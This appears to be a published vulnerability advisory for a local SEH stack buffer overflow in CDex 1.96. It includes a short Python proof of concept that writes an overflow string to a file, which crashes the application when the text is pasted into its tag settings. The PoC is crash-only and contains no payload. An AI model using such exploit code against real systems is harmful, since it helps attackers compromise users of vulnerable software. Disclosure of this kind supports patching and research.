CDex 1.96 Stack Buffer Overflow

2017.12.19
Credit: bzyo
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

#!/usr/bin/python # # Exploit Author: bzyo # Twitter: @bzyo_ # Exploit Title: CDex 1.96 - Local Stack Buffer Overflow # Date: 17-12-2017 # Vulnerable Software: CDex 1.96 (Unicode Build) # Vendor Homepage: http://cdex.mu/ # Version: v1.96 # Software Link: http://cdex.mu/?q=download # Tested On: Windows 7 x32 # # # PoC: generate crash.txt, open app, go to options, settings, encoding, tags, paste crash.txt contents in picture text # # app crashes; 00420042 Pointer to next SEH record; no unicode ppr pointers # file="crash.txt" crash = "A"*520 + "B"*4 #seh writeFile = open (file, "w") writeFile.write( crash ) writeFile.close()


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